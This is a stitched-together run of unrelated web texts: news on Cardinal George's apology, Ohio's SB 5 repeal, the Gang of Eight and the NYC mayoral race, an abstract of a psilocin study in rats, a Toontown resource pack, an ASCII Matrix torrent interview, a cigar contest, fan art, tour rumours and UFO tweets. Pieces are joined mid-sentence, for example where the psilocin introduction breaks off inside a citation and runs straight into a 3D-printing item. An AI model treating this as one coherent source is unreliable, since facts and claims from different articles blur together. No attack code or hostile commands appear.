Chris Pett, president of Dignity Chicago, an independent ministry for gay, lesbian and transgender Catholics, welcomed the cardinal's apology.
"This is not about power. This is not about control. This is about a church and its ministry and its shepherd," he said. "We believe in reconciliation. It's not a time to continue to draw battle lines and go back to prior history. It's time to say we're grateful for that gift for someone realizing that he or she misspoke in a way that caused some harm and seek forgiveness."
George said although church teaching does not judge same-sex relationships as morally acceptable, it does encourage the faithful to "respect everyone."
"The question is, 'Does respect mean that we have to change our teaching?' That's an ongoing discussion, of course.... I still go back to the fact that these are people we know and love and are part of our families. That's the most important point right now."
Bernard Cherkasov, CEO of Equality Illinois, said the apology was a start.
"It appears that the Cardinal has had a chance to reflect on the deeply hurtful and destructive statement he had made on Christmas day in comparing the movement for LGBT equality to the Ku Klux Klan. His apology is important and will go some way toward healing the pain he has caused," Cherkasov said.
"However, his actions will speak louder than words, and we will be paying attention to see if his words translate into acts of dignity and respect towards LGBT people," Cherkasov said.
The executive director of The Civil Rights Agenda said he was "incredibly pleased that Cardinal George has taken responsibility for his actions and has issued an apology."
“A true leader can admit when they are wrong, and the Cardinal has set a good example of leadership today with his statement," said Anthony Martinez, TCRA executive director. "Now, with this apology, the LGBT community and the Catholic community can begin to heal the divides that this has caused.”
mbrachear@tribune.com
Twitter @TribSeekerPsilocybin has recently attracted a great deal of attention as a clinical research and therapeutic tool. The aim of this paper is to bridge two major knowledge gaps regarding its behavioural pharmacology – sex differences and the underlying receptor mechanisms. We used psilocin (0.25, 1 and 4 mg/kg), an active metabolite of psilocybin, in two behavioural paradigms – the open-field test and prepulse inhibition (PPI) of the acoustic startle reaction. Sex differences were evaluated with respect to the phase of the female cycle. The contribution of serotonin receptors in the behavioural action was tested in male rats with selective serotonin receptor antagonists: 5-HT 1A receptor antagonist (WAY100635 1 mg/kg), 5-HT 2A receptor antagonist (MDL100907 0.5 mg/kg), 5-HT 2B receptor antagonist (SB215505 1 mg/kg) and 5-HT 2C receptor antagonist (SB242084 1 mg/kg). Psilocin induced dose-dependent inhibition of locomotion and suppression of normal behaviour in rats (behavioural serotonin syndrome, impaired PPI). The effects were more pronounced in male rats than in females. The inhibition of locomotion was normalized by 5-HT 1A and 5-HT 2B/C antagonists; however, PPI was not affected significantly by these antagonists. Our findings highlight an important issue of sex-specific reactions to psilocin and that apart from 5-HT 2A -mediated effects 5-HT 1A and 5-HT 2C/B receptors also play an important role. These findings have implications for recent clinical trials.
Introduction
Psilocin (4-hydroxy-N,N-dimetyltryptamine) is an active metabolite of the naturally occurring tryptamine hallucinogen psilocybin (O-fosforyl-4-hydroxy-N,N-dimethyltryptamine) (Fantegrossi et al., 2008), with the highest affinity to 5-HT 2 and 5-HT 1 serotonin receptors [see Tyls et al. (2014) for review]. It is typically found in a variety of hallucinogenic mushrooms and has a long history of ritual use (Hofmann, 2005; Carod-Artal, 2015), recently gaining a great deal of attention as a clinical research tool (pharmacological model of psychosis) and a potential therapeutic agent for depression in terminal patients, obsessive–compulsive disorder, addictions and cluster headaches (Tyls et al., 2014). This provides a clear rationale for the investigation of less known/understood effects of psilocybin.
The acute effects of psilocybin in humans include profound changes in perception (dream-like states, illusions, hallucinations, synesthesia), altered self-perception, derealization and depersonalization, thought content disorder (magical thinking, unusual ideas or delusions) and sometimes also anxiety (Halberstadt and Geyer, 2013; Tyls et al., 2014). Even though preclinical experiments cannot detect the effects mentioned above, they allow us to study many other domains (e.g. contribution of receptor subtypes) in more detail. The most typical behavioural test used is the analysis of spontaneous behaviour in the open field, which enables the detection of changes in arousal, exploration, anxiety, habituation, etc. Alteration of these parameters could be, for example, a result of disrupted navigation as a consequence of perceptual changes, whereas avoidance of the open parts of the arena could reflect increased anxiety. Similarly, the measurement of a prepulse inhibition (PPI) deficit, a measure of sensorimotor processing, has been previously identified as an endophenotype of the effects of hallucinogens in animals.
Psilocin and psilocybin, as well as other serotonergic hallucinogens, induce comparable changes in various behavioural parameters in rodents. For example, they inhibit locomotor activity, induce signs of ataxia, reduce exploration, reduce time spent in the centre of the arena and suppress normal habituation to an environment (Delay et al., 1959; Collins et al., 1966; Schneider, 1968; Geyer et al., 1979; Halberstadt et al., 2011). Furthermore, typical signs of behavioural serotonin syndrome can be observed – for example, head twitch behaviour/wet dog shakes, flat body posture and backward walking (Ortmann, 1984; Fantegrossi et al., 2008; Tyls et al., 2014). However, compared with other hallucinogens, they have inconsistent effects on sensorimotor processing: psilocybin increased the startle response in rats up to doses of 2 mg/kg, but decreased it at doses higher than 4 mg/kg (Davis and Walters, 1977; Geyer et al., 2001; Halberstadt and Geyer, 2011). Although other hallucinogens mostly decreased PPI (Sipes and Geyer, 1995 |
you can now 3D print a scaled down version of the weapon.
The design comes to us thanks to Daniel Lilygreen. He’s fast becoming one of our favourite designers here as he’s already impressed with the heavy assault rifle from DOOM and the X-01 power armour helmet, also from Fallout 4.
If you’re wondering, yes, Bethesda probably was influenced in its design of The Ripper by a Warhammer 40K weapon called the chainsword. Hey, maybe copyright laws eased up after the apocalypse.
More, free 3D printable designs:The “Needs More JPEG” Toontown Rewritten Resource Pack
Inspired by Needs More JPEG
What is this?
This is a resource pack for the game Toontown Rewritten that replaces the resources with JPEG and MP3 enhanced versions of the images and sounds.
Download
Full version: Google Drive | Amazon CloudFront | OneDrive
“Soundless” version: Google Drive | Amazon CloudFront | OneDrive (use this version if you don’t like the sounds in the full version)
Installation
Windows
Mac OS X
Linux
FAQ
How do I use this?
Read the installation instructions above.
WHY WOULD YOU EVER DO SUCH A THING?!?!
There could be multiple answers to that question. 1) I’m crazy, or 2) It’s funny, or 3) Who doesn’t like the beauty of JPEG and MP3 compression?
I still don’t get the point of this resource pack.
That’s not a question.
Arrgh the sound hurts my ears!
Download and install the “soundless” version instead.
How did you make this?
Bash script wizardry, on Linux with ffmpeg and ImageMagick.
Why is this page so ugly?
I didn’t feel like taking the time to make it look nice. Sorry.
Discuss this on reddit!In today’s UK Guardian, Khaled Diab (a Belgian-Egyptian journalist and writer), writes about the very disturbing turn of events in Egypt in which bloggers are being jailed. Apparently the new regime have cracked down on bloggers who ‘insult’ either the military council or religion. He writes …
The revolution seems to have made the Egyptian regime very quick to take offence from all those ungrateful pesky Egyptians. In April, the courageous blogger Maikel Nabil Sanad was jailed for three years on the ludicrous charge of “insulting the military” – which is an offence only to our intelligence. The posts that got him in trouble include one in which he contends that “the army and people were never a single hand” and another that accuses the interim regime of “recycling the same old shit” but this time on a china plate. In protest against his sentencing, Sanad began a long hunger strike in jail. Now reports are emerging that he has been moved to a psychiatric hospital, drawing severe condemnation from Egypt’s mental health community. An interesting blog containing Sanad’s determinedly outspoken writings from prison has been set up by his friends.
OK, so far I get it … a military junta takes offense when a blogger criticizes them in public. That in itself does not bode well for the political future in Egypt and is in isolation of extreme concern, but it gets worse …
Now Egypt’s civilian courts have joined the Egyptian institutions making offenders out of bloggers who cause offence. Ayman Youssef Mansour also received three years, but this time not for offending the demigods of the military but rather for “insulting” Islam, “promoting extremist ideas” and “inciting sectarianism” on Facebook.
It’s not exactly clear what Ayman wrote that qualified him for three years in jail, according to the official MENA news agency, Mansour was tried in a criminal court, and his ruling stated that he “intentionally insulted the dignity of the Islamic religion and attacked it with insults and ridicule on Facebook.” (Hey, I do that all the time). While it remains unclear exactly what the posts contained, Egyptian daily, Al Masry Al Youm reported that the court stated that the posts on the Facebook page threatened national unity.
This is quite frankly insane, no belief system is beyond criticism and no idea has some form of right that prevents such criticism no matter how firmly it is believed. This is not actually a judgement upon Ayman, but rather is a judgment upon Islam and also the current regime in Egypt, it exposes both as morally bankrupt.
The revolution in Egypt was supposed to have embodied freedom, but is in fact having quite the opposite effect. Where exactly is this going to go next? Christianity is by its very nature, “defamatory” to Islam, and of course the reverse is also true, so will we now see them all going after each other in the Egyptian courts? Unless they recognize the basic right of all to believe or not believe in whatever they wish, then this will not end well at all.
There is a very basic and simple principle that the current Egyptian regime and courts do not comprehend …
Beliefs and ideas do not have rights, only people do
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Like this: Like Loading...ACS NFL Playoff Challenge Part 2!
Last week we ran the first round of the ACS NFL Playoff challenge, up for grabs was a box of Vega Fina Sumum 2010. Michela Blanchette won by guessing the closest score as a tie breaker. This week we have a very special prize as well, a rare La Flor Dominicana Meaner Digger. Check out my review I did of this cigar. Only 2012 of them were made, this is a must try! I loved this stick, its the type of cigar you really need a while to enjoy since it is a 10 x 60.
In the case of a tie, we will default to the total combined score of all 4 games! The person who guesses the closest without going over will be selected as the winner. Good luck! So how do you enter? Simply copy and paste the games below as a comment and write in your pick at the end of each line who you think will win the game. The person with the most correct picks takes home the prize!
While you are here, look at some of our reviews! Thanks!
Packers vs 49ers Winner:
Seahawks vs Falcons Winner:
Broncos vs Ravens Winner:
Texans vs Patriots Winner:
And the total combined score for all 4 games will be:
My predictions for this week are as follows:
Packers vs 49ers Winner: Packers
Seahawks vs Falcons Winner: Seahawks
Broncos vs Ravens Winner: Broncos
Texans vs Patriots Winner: Patriots
And the total combined score for all 4 games will be:Democrats in Ohio and labor leaders hailed the repeal of Senate Bill 5. In Ohio, SB 5's repeal buoys Dems
COLUMBUS - Republican Gov. John Kasich warned Democrats that they needed to support a hard-edged anti-union law or get run over by “the bus” — but on Tuesday Ohio voters left serious tread marks on Kasich and, quite possibly, the national GOP.
Unions hung a humbling defeat on Kasich, who has fast become his party’s poster boy for conservative overreach, by rolling back Senate Bill 5, a new collective bargaining law that bars public sector strikes, curtails bargaining rights for 360,000 public employees and scraps binding arbitration of management-labor disputes.
Story Continued Below
Democrats in Ohio and labor leaders hailed the victory - a rare win for progressives after a 2010 GOP sweep here that saw the turnover of five Democratic congressional seats - as a harbinger of national renewal and the first step in recapturing a state that has long been a national presidential bellwether.
Only time will tell if that’s fact or wishful thinking, but even Ohio Republicans conceded the fight over the legislation breathed new life into Democrats, who have borne the brunt of the state’s massive job losses and economic stagnation.
“Hey, I’m a Republican, but I’m telling you, Republican firefighters and police officers aren’t going to be voting Republican around here for a while,” said Doug Stern, a 15-year veteran of the Cincinnati fire department who joined the non-partisan “We are Ohio” coalition that helped repeal the bill.
“We’ll see what happens in 2012, but our guys have a long memory. We’re angry and disgusted.”
The contest over SB 5 - also called Issue 2 - was among the most expensive ever waged over a ballot initiative in the state with unions and conservative groups, including Citizens United, pouring in more than $50 million collectively.
The ballot measure galvanized local progressives like nothing else since the election of Barack Obama in 2008. They staged mass rallies past the state capitol, organized tens of thousands of volunteers and vowed to turn their makeshift coalition into a political force that will reshape the balance of power in Ohio.
Kasich, for his part, argued that he was simply trying to create a sustainable path for the state budget. His effort was backed by conservative funders, farmers, the Ohio Chamber of Commerce and the National Federation of Independent Business.
But one senior state Republican blamed the governor, whose approval rating languishes in the low 30s, for “snatching defeat from the jaws of victory” by alienating labor-friendly independents in the state.
In a statement Tuesday night, Kasich conceded defeat but vowed to continue his effort to cut government spending.
“Though I would have preferred a different outcome tonight, the people of Ohio have spoken and I respect their decision,” he said in a statement. But he said the results “did not change the fact that Ohio’s ability to create a jobs-friendly climate is impacted by local governments’ ability to reduce their costs.”Suprised? Samura1man Jul 21st, 2014 2,733 Never 2,733Never
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rawdownloadcloneembedreportprint text 1.21 KB Well, seems like my break has ended? It's completely hard to tell yet, I have really mixed feeling with speedrunning, one day I feel I want to speedrun then tommorow/other day it's just completely backwards. Cosmo's emotionals after that 18:10 OoT Any% made me think of my emotionals how got 1:30:02 in SMS Any% 10 months ago. That feeling when you achieve a golden run, the run that makes you think you are not able to beat it anymore by yourself. My time wasn't close to perfect but back in that time my run used to be solid. I realized my time is bad and I feel bad for leaving speedrunning without having achieve a time I have wanted, what gave me motivation? Cosmo's emotionals, that feeling when you achieve "that run" gave me motivation. Well, I will be practicing SMS really hard and I wish I won't burn out, what's my goal? Still 1:19:xx? Nooooo, not 1:19:xx anymore. My goal is to achieve 1:18:xx. I'll get into speedrunning slowly, if I rush, I will burn out and force myself to stop again, also this will be my only project, we'll see do I enjoy doing this still, I want 1:18:xx so I can leave Any% in peace. Shall we start the journey together to make this possible? I am ready for it, I'll make it possible.
RAW Paste Data
Well, seems like my break has ended? It's completely hard to tell yet, I have really mixed feeling with speedrunning, one day I feel I want to speedrun then tommorow/other day it's just completely backwards. Cosmo's emotionals after that 18:10 OoT Any% made me think of my emotionals how got 1:30:02 in SMS Any% 10 months ago. That feeling when you achieve a golden run, the run that makes you think you are not able to beat it anymore by yourself. My time wasn't close to perfect but back in that time my run used to be solid. I realized my time is bad and I feel bad for leaving speedrunning without having achieve a time I have wanted, what gave me motivation? Cosmo's emotionals, that feeling when you achieve "that run" gave me motivation. Well, I will be practicing SMS really hard and I wish I won't burn out, what's my goal? Still 1:19:xx? Nooooo, not 1:19:xx anymore. My goal is to achieve 1:18:xx. I'll get into speedrunning slowly, if I rush, I will burn out and force myself to stop again, also this will be my only project, we'll see do I enjoy doing this still, I want 1:18:xx so I can leave Any% in peace. Shall we start the journey together to make this possible? I am ready for it, I'll make it possible.Authored By seanphippster
This week, tech websites across the world have been discussing the world’s oldest torrent file, now active for more than 12 years.
The torrent file was created to share a fan-created ASCII version of “The Matrix” with others on the Internet. Both the torrent file and the movie it shared were created in 2003 as a labor of love by Jack Zielke, then a student at Chattanooga State.
Torrents and ASCII What is a torrent file? Read more here. What does ASCII mean? Read more here.
According to TorrentFreak.com, the file is “the oldest torrent that’s still being actively shared.” And the numbers are staggering: the torrent has been active for 4,420 days and downloaded tens of thousands of times. To put it in perspective, a 2007 study on torrent activity revealed that the average lifespan of a torrent file at the time was about 9 days and between 30-300 hours.
Zielke recently reuploaded the original website he built to share his version of the film, including more information on his process and, for the first time, allowing his name to be associated with the project.
Nooga.com spoke to Zielke about his motivation to create the ASCII version of the film, which he said he created as a parody. This is his first interview with media regarding the project.
An edited version of the interview is below.
Why create a version of “The Matrix” in ASCII?
I thought it would be fun to make “The Matrix” in green text. I wasn’t anticipating it lasting more than a few months. It was supposed to be just a novelty. In fact, getting to the DVD took a long time. I was initially thinking of modifying a monitor or old TV to only light up with green. In the end, I went with a DVD because that could be played anywhere and I wouldn’t have to lug around a broken TV with me to show off “The Matrix” in green text.
When did you create it?
There’s a little bit of a discrepancy that I’m reading on some websites. Some people are pointing out the Dec. 20, 2003, date. And my website says January 2004. Basically, I created the torrent on Dec. 20, 2003, and it was put on my torrent tracker … and if you knew that it was there, it was live at that point with a seed. So, it has been seeded since then.
How did you create it?
I actually patched a text ASCII rendering program in August 2002 to start doing this. The program running on my computer had to be the top window to take a screenshot to save the text as an image. So, if I was doing anything in front of it, it would put the window I was working on in the screenshot. I couldn’t use my computer when I was running this, so I’d let it run overnight. I got married and let it run through the entire honeymoon. It was often on for months and months to get all the frames.
How did the torrent take off?
I had a really terrible internet connection at the time, and if you wanted to download over 4 gigabytes from me it was going to take a long time. So, I ended up burning DVD copies of it and then sending it out to my friends. I gave seven different people the DVD to seed. They could just copy it to their computer and connect to the torrent. Five of them were mailed to places like Oklahoma, Minnesota and California.
These people had a copy of it so when I officially announced it there would already be seeders with fast connections. Some people said they would seed it for a week and others said they would seed it for a month to help me get started. It was created and seeded and just kind of sitting there until Jan. 16, 2004, because I wanted it to debut at Chattacon. [Chattacon is an annual sci-fi convention in Chattanooga]
Have people tried to contact you throughout the years?
Yeah, I get emails every so often. Sometimes I get hate mail from people expecting a pirated version of “The Matrix” and they found green text instead. But usually it’s people telling me they really like it and that they appreciate that I did it.
Were you ever concerned the Motion Picture Association of America was going to take issue with the parody?
I was always nervous about it. That’s another reason I didn’t post it before it debuted in the theater [at Chattacon]. If I had posted it online and Warner Bros. said “take this down” and a week later I played it in a theater, that would’ve been a really dumb move. That said, in 12 years I haven’t heard a peep. I don’t think I am reducing a single sale of theirs. But there’s a chance-with the recent resurgence-that people might actually be buying copies of the original. It may have increased sales, actually.
Looking back, is there anything you’d do differently?
I don’t know about doing it differently, but I guess it was a sign of the times. At the time, if you wanted to watch a movie you’d do it on your DVD player. Now, you watch on your computer or mobile device. You wouldn’t burn it before watching it. So, in 2012 I put up the original, high-quality 7-gigabyte file that would not fit on a DVD. I thought if you’re going to play it on a computer or a streaming player you might as well get the higher quality one. It didn’t really dawn on me at the time that people would be streaming like they are now. I also did not own a DVD burner when I did this. I bought an external enclosure and an 80-gig hard drive and went to a neighbors house and burned copies of it.
This is the first time you’ve talked about this to media?
Yes. The website was hosted at Chattanooga State. I was a student there when I made this. There was a page there for years. That was removed last September, but the torrent was still going. The email associated with that page was a.edu domain, so unless you emailed me and I told you who I was it was really hard to turn that into a person. Yesterday, I put it on one of my domains. With a simple WHOIS search you have all my contact info. So, I guess I’ve kind of outed myself. I never got an email from Warner Bros. or a lawyer in 12 years, so I figure if they wanted to get me they would’ve a long time ago.
Would you do it over again?
Oh yeah. It was tremendously fun.All the members of the bipartisan “Gang of Eight” pushing immigration reform in the U.S. Senate will band together to block any efforts by other senators to offer amendments to their legislation once it is introduced, the Washington Post reported on Sunday.
“A bipartisan Senate group on immigration legislation is attempting to craft an agreement so secure that the eight members will oppose amendments to its core provisions, an arrangement that could delay the introduction of a bill, people familiar with the negotiations said,” the Post‘s David Nakamura wrote.
In response to Nakamura’s article on Monday, Gang of Eight member Sen. Marco Rubio’s spokesman Alex Conant told Breitbart News that his description of the process being worked on is not correct. “The legislation that the eight senators are working on is only the start of the process; we expect several committee hearings, a full debate, and an open process for other senators to offer amendments,” Conant said. “It’s premature to speculate about what sort of amendments might be offered, but if another senator offers an amendment that improves the legislation consistent with the principles Senator Rubio has outlined, then I would expect members of the group of eight to support it.”
But Rubio’s words are unlikely to do much to assuage the concerns of conservative Republicans in Congress, especially as fellow Gang of Eight member New York Democratic Sen. Chuck Schumer, Senate Judiciary Committee chairman Sen. Pat Leahy, and other Democrats appear poised to rush whatever bill the bipartisan group comes up with through as fast as they can once the legislative text is presented.
Nakamura notes the bill is expected to be around 1,500 pages long, and that the Gang of Eight “is trying to strike a deal in which all the members agree to oppose any amendments to the core provisions, even if they might agree with the amendments, people familiar with the talks said.”
“The group is concerned that if one provision is amended, the entire bill will fall apart because the deal is predicated on a comprehensive plan composed of carefully negotiated pieces,” Nakamura wrote.
This apparent effort by Gang of Eight members to force a deal through with no amendments and without a transparent process complete with public hearings examining the different facets of a forthcoming bill has worried conservatives on the Senate Judiciary Committee. The committee’s ranking GOP member, Sen. Chuck Grassley, and his colleagues Sens. Jeff Sessions, Ted Cruz, and Mike Lee recently wrote to all the Republicans in the Gang of Eight asking them to fight for a transparent process and hearings to examine each part of the coming bill, which still has not been written.
Sens. Jeff Flake, Lindsey Graham, and John McCain have not backed the efforts for transparency in this process. Rubio says he does back the efforts for a transparent process, and wrote back to those conservatives on the Senate Judiciary Committee to say that he views the Gang of Eight’s forthcoming legislative text as nothing more than a “starting point” from which other senators will be allowed to offer their input via amendments and hearings and other processes. But Leahy, the chairman of the Senate Judiciary Committee, has only said he will “consider” having just one hearing on the massive legislative package, and would not commit to a transparent process.New York City’s leading Democratic mayoral candidates are pledging to back taxpayer aid to private religious schools in a bid to draw Orthodox Jewish support.
Christine Quinn and Anthony Weiner, who lead in the Democratic mayoral polls, both spoke in favor of city aid to for private schools at separate campaign events in early July.
Quinn, addressing a July 11 luncheon hosted by a centrist Orthodox umbrella group, said she would look into providing security guards for private religious schools. Weiner, at another campaign event, proposed boosting the clout of the department within the city’s education bureaucracy dedicated to sending cash to private schools.
“There has been flexibility on both sides of the discussion,” said Michael Tobman, a New York City political consultant who has worked on nonpublic education issues. “The reception has been positive. I think that the [Orthodox] communities care; it matters to these communities to be courted in this way.”
Government aid for religious schools is a key political aim of communities across the Orthodox Jewish spectrum. The city is allowed to provide some forms of government aid to private religious schools, though other forms are barred.
Orthodox advocates have largely abandoned the push for taxpayer-funded vouchers with which parents could pay for religious education. Instead, they are focusing on expanding the subsidies for specific secular services at their schools from federal, state and city agencies.
“If public schools are receiving these types of services, like security for their children and nurses, from our point of view there’s no reason why private school students should be bereft of those services,” said Jeff Leb, New York director of political affairs for the Orthodox Union, the centrist Orthodox umbrella group that hosted Quinn at the July 11 luncheon.
Both Quinn and Weiner have struggled to amass broad support within the Orthodox community. Quinn’s base is in Manhattan, where she enjoys support from non-Orthodox liberal Jews. Weiner, for his part, has little Jewish backing, despite being Jewish.
Yet as Quinn and Weiner have emerged as the dueling favorites in recent weeks, both have stepped up efforts to appeal to the Orthodox.
In response to questions, both said in late June and early July that they believe the West Bank to be disputed territory rather than occupied. The United States, the United Nations, the international community and Israel’s own Supreme Court consider Israel to have occupied the West Bank and East Jerusalem in 1967.
“These shouldn’t be issues for a mayoral race,” Leb said of the candidates’ statements on the West Bank. “It’s nice that they consider it disputed as opposed to occupied, but honestly, I think any real discussion of the West Bank’s status really comes across as pandering a little bit.”
Their pushes on nonpublic school aide, however, have been better received.
Quinn described her positions on aid to private religious schools over sandwich wraps and sushi at a lunch meeting of roughly 40 guests of the O.U.’s advocacy arm. David Greenfield, a Democratic member of the New York City Council representing heavily Orthodox neighborhoods in Brooklyn, introduced Quinn. Greenfield has not endorsed anyone in the mayor’s race.
“She got a very warm reception today,” Greenfield told the Forward.
In a question-and-answer session, Quinn said she would cooperate with the Orthodox community to find more public funding for religious schools. “There are areas, we all know this, where the government cannot get involved in nonpublic education. But then there are areas that we can,” Quinn said when asked whether the city could pay for security guards at private religious schools. “We would like to work with all of you and others to figure that out and see what can be done.”
Weiner’s proposal, made outside a closed Catholic parochial school, was more sweeping. “If you’re a student, no matter what type of school you’re in — a yeshiva, a parochial school, a charter school — you’re entitled under the law to certain specific services that go into your education,” Weiner said, according to the news website Gotham Schools.
If elected mayor, Weiner said, he would promote the head of the city Department of Education’s Non Public Schools office, tasked with apportioning aid to the city’s nonpublic schools, to a cabinet-level position within the department.
The school aid issue represents an area in which it’s politically safe for the candidates — both of whom are progressive Democrats — to cater to the interests of the Orthodox community.
“On a lot of social issues, candidates in the Democratic primary just don’t have much to agree on with New York City’s faith communities,” Tobman said. “So you look for areas where you can agree.”
For the Orthodox community, private school education is a top political and social issue.
“There are no more important things in life, to the Orthodox community, than children and Jewish education,” wrote Avi Shafran, a spokesman for the ultra-Orthodox umbrella group Agudath Israel of America, in an email. “And with much of the community under great financial pressure (both due to the costs of Jewish observance and the economy’s general state), the obtaining of legally permissible aid to Jewish schools is a top agenda item for the community.”
How that issue will translate into votes remains to be seen. Ultra-Orthodox voters in Brooklyn generally vote in blocs, and those blocs currently seem to be committed to Bill Thompson, the former comptroller with strong ties to the Orthodox.
Bill de Blasio, who is popular with liberal non-Orthodox Jews, made what appeared to be his own pitch to Jewish voters in a July 12 letter sent in his capacity as New York City’s public advocate. In the letter, de Blasio asked Saudi Arabian Airlines to end its practice of barring Israelis from buying tickets on the airline at New York’s John F. Kennedy Airport.
Contact Josh Nathan-Kazis at nathankazis@forward.com or on Twitter @joshnathankazis
This story "Eying Orthodox Vote, New York Mayor Candidates Back Aid to Religious Schools" was written by Josh Nathan-Kazis.wikiHow's This article was co-authored by our trained team of editors and researchers who validated it for accuracy and comprehensiveness. Together, they cited information from 19 references wikiHow's Content Management Team carefully monitors the work from our editorial staff to ensure that each article meets our high quality standards. Learn more...
In this Article:Nurturing Your Connections with OthersPursuing Purposeful GoalsMaking Sense of Life ExperiencesCommunity Q&A19 References
Why am I here? What’s my purpose? What’s the point? Everyone asks these questions at some point, so don’t feel alone if you’re struggling with life's meaning. Meaning in life consists of 3 separate, but related, areas: feeling connected to and valued by others, having a sense of purpose, and being able to make sense of your experiences. When life seems senseless, work on nurturing your relationships, commit to your personal goals, and remind yourself that you have unique life story.[1]In the legal battle between Apple and Samsung, things just went from bad to bold.
Apple today filed a preliminary injunction against Samsung with the U.S. District Court for the Northern District of California, seeking to keep four of the company's latest mobile devices out of the U.S.
The filing, discovered by blog FOSS Patents this afternoon, asks the court for a preliminary injunction to keep Samsung from making, selling, and importing the Galaxy S 4G, Infuse 4G, Droid Charge smartphones, along with the Galaxy Tab 10.1 tablet. Apple claims these products infringe on three of its design patents, and one utility patent.
"A preliminary injunction is necessary not only to protect Apple's rights, but also to protect the public interest," Apple said in its filing. "Because Apple has demonstrated a likelihood of success on its claims, the public interest would be served by prohibiting Samsung from infringing Apple's patents."
Apple says it's "limiting" this preliminary injunction to only include the four devices, while keeping the yet-to-be-released Galaxy S 2 phone and Galaxy Tab 8.9 tablet off the table. Even so, the company said it "reserves the right to seek a preliminary injunction against those two products as their release becomes imminent."
In a statement issued following the filing, Samsung dismissed Apple's claims:
"Samsung believes there is no legal basis for this motion. We will continue to serve our customers, and sales of Samsung products will proceed as usual. Samsung will continue to actively defend and protect our intellectual property to ensure our continued innovation and growth in the mobile communication business."
A representative from Apple did not respond to a request for comment on the filing.
Apple's legal battle with Samsung began in April, with the iPhone maker launching a lawsuit against the company in the U.S. for "copying" its cell phones and iPad tablet. Samsung fired back with its own lawsuit in the U.S. and abroad.
Along the way, the two companies have traded blows in the legal filings, including both parties asking to see unreleased and unannounced versions of products from one another. For Samsung, that was asking to see the "iPhone 4S," "iPhone 5," "iPad 3," and "third-generation iPad," along with retail packaging to make sure its own products would not infringe on Apple's intellectual property. Apple asked for similar assurances in wanting to see various Samsung products, including the Galaxy Tab 10.1 and 8.9, Galaxy S II, Droid Charge, and Infuse 4G.
As mentioned in previous coverage, Apple and Samsung are longtime business partners, with Apple once investing millions into the company's display business.
Update at 7:11 a.m. PT on 7/2 with comment from Samsung.The Nutella food truck is in our city as part of the Nutella Breakfast Tour, during which they try to dupe credulous Americans such as ourselves into believing that the spread really is a great addition to any breakfast. What's their new, post-lawsuit slogan? "Turn a balanced breakfast into a tasty one?" Got it. Anyway, the truck, complete with free samples and an inflatable jar of Nutella, has invaded Atlanta and will be here through Saturday, October 27. In other cities, the Tasty Breakfast team handed out waffles and baguettes with the hazelnutty chocolate spread toward the end of their stay (instead of just samples of the product), so there's hope that Atlanta will get the same treatment. Stay tuned for updates, and read on for this week's Atlanta schedule.
• Wednesday, October 24 until 12 p.m. at Marietta Street NW & Spring Street NW
• Thursday, October 25 from 7 a.m. to 12 p.m. at 12th Street NE & Peachtree Street NE
• Friday, October 26 from 9 a.m. to 2 p.m. at 265 Park Avenue West NW
• Saturday, October 27 from 10 a.m. to 3 p.m. at the Atlanta Food Truck Park on Howell Mill Road.
· Nutella Breakfast Tour Comes to Atlanta [-EATL-]
· Yes, a Nutella Food Truck Is Traveling Across the Country [-EN-]
· Nutella Breakfast Tour [Facebook]^^*****************************************Edit: Got the sleepy ponies on Redbubble now! So available on overpriced shirts. [link] For with a basic background. [link] Coloured ponies with no background. [link] Outlines only.More ponies! More snoozy ponies even!Got the idea for this at work the other week and fluffed around on actually starting it. Rarity/AJ were the hardest ponies to figure what I wanted to do.. I knew pretty much instantly I wanted Fluttershy curled up, Rainbow Dash spread out and Pinkie Pie sprawled out over everyone. Rarity needed some dignity so she got put next to Twilight. I like the consistant conflict of RD/AJ so AJ got to hug RD butt and be annoyed by tail hair.Twilight Sparkle just got to be happily sitting in the middle looking at all her friends and.. yeah.Pinkie Pie is by far my favourite. Like, utterly and completely. She has the best spot.I wanted to try and convey the character/personalities of the ponies even as they were sleeping so yah.. here we go!Lazy background is lazy.Annd.. MLP: FiM heads/eyes still need practice. Those eyes are just so.. BIG.. and round and.. argh. Not how I draw eyes at all. Practice, practice, practice away..Annd.. I'm done. Woo~On to more ponies!Amsterdam’s Heineken Music Hall website seems to have let slip a number of ZZ Top dates including a stop off at Glastonbury Festival. The news comes after the venue announced ticket details for the bands show.
Google Translate:-
ZZ Top comes in June and July 2016 for 20 concerts, which are all part of their new roadshow to Europe. The Hell Raisers Tour kicks off in Birmingham to travel further then to the renowned Glastonbury Festival in Pilton. Then the band to mainland Europe is going to include performances in France, the Netherlands, Germany, Austria, Denmark, Finland, Sweden, Belgium and the legendary Montreux Jazz Festival in Switzerland where they recorded their DVD “Live at Montreux 2013
ZZ Top will play a 20 date European Hellraiser tour including a spot on the Pyramid Stage at Glastonbury Festival.
Update: Any mention of the Festival has since been removed from the venues website
Glastonbury Festival will take place from Wed, 22nd June to Sun, 26th June 2016. All tickets have sold out, but there will be a resale of unwanted tickets in the Spring (likely to be April)
No bands have been confirmed by the organisers yet, but Coldplay, Adele and Muse are a likely trio of headliners
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[wysija_form id=”1″]A federal grand jury on Friday indicted the film director John McTiernan on two counts of lying to the FBI and one count of perjury in connection with the Anthony Pellicano wiretapping case, according to an Associated Press report. Mr. McTiernan had earlier withdrawn a plea of guilty to making a false statement, and said in an interview earlier this week that he expected the new indictment.
The AP report gave few more details. A lawyer for the director called the indictment “really nothing new” and said they would rigorously fight it. Mr. McTiernan, 58, best known for the films “Die Hard” and “The Hunt for Red October,” grabbed attention earlier this week by releasing a documentary that pins the Pellicano prosecutions and many others on a campaign by former Bush Administration official Karl Rove to use the U.S. Department of Justice in pursuit of Democratic officials and those with ties to prominent politicians like Hillary Clinton.Just Seen a strange #UFO over Fheis. It hovered, and then made a swirl and disappeared #Amman #Jordan twitter.com/robstevensradi… — Rob Stevens (@robstevensradio) June 7, 2012
#UFO or missile trace? Mystery spiral lights raise havoc in Israel on.rt.com/lwi1ls — Joe Thorpe (@JoeThorpe1963) June 8, 2012
Reported UFO Over Israel Could be Russia’s ICBM Test goo.gl/zXUEn #MideastUFO — RIA Novosti (@ria_novosti) June 8, 2012
